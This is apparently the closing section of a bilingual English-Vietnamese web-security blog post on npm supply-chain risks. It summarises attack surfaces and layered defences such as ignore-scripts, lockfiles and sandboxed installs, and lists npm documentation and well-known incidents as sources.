Key takeaways {Điểm chính}
npm installis code execution — the publisher (and everyone in the dependency tree) can run code on your machine/CI {npm installlà thực thi code — người publish và cả cây phụ thuộc chạy được code}.- The surfaces are lifecycle scripts (most common), transitive deps, git
prepare,binshadowing/typosquats, and the runtime entrypoint {Bề mặt: lifecycle scripts, transitive, gitprepare,bin/typosquat, entrypoint runtime}. --ignore-scriptsblocks lifecycle hooks only — it does nothing forbinshadowing or runtime code {--ignore-scriptschỉ chặn lifecycle hook — không cứubinshadow hay code runtime}.- Defend in layers: ignore-scripts default,
npm ci+ lockfile + pinning, sandboxed install with no secrets and blocked egress, integrity/provenance checks, and runtime least privilege {Phòng thủ nhiều lớp}. - The trust boundary is the whole dependency tree, audited via the lockfile diff, not just your direct
dependencies{Biên tin cậy là cả cây phụ thuộc, rà bằng diff lockfile}.
Sources {Nguồn}
- npm docs — scripts / lifecycle hooks and
config(ignore-scripts). - npm docs — generating provenance &
npm audit signatures. - pnpm — v10 release notes (scripts off by default) and
pnpm approve-builds. - Yarn —
.yarnrc.ymlsettings (enableScripts). - OpenSSF — npm best practices / supply-chain guidance.
- Public post-mortems:
event-stream(2018),eslint-scope(2018),ua-parser-js(2021),node-ipc/peacenotwar(2022), and the self-replicating “Shai-Hulud” npm worm (2025) — widely documented incidents illustrating the transitive, maintainer-takeover, and worm classes above.
The series {Series}
This is the first bonus part on top of the core ten and the advanced track (Parts 11–16); it continues into Part 18 — Reverse Tabnabbing & window.opener {Đây là phần bonus đầu trên nền mười phần lõi và nhánh nâng cao (Phần 11–16); tiếp tục sang Phần 18 — Reverse Tabnabbing}. The throughline from Part 10 holds one more time, now at the build layer: trust nothing you did not produce — not browser input, and not the code you install — until it has been verified on a surface you own {Sợi chỉ xuyên suốt từ Phần 10 đúng thêm một lần nữa, lần này ở tầng build: đừng tin thứ gì bạn không tự tạo ra — kể cả code bạn cài — cho tới khi được verify trên bề mặt bạn sở hữu}.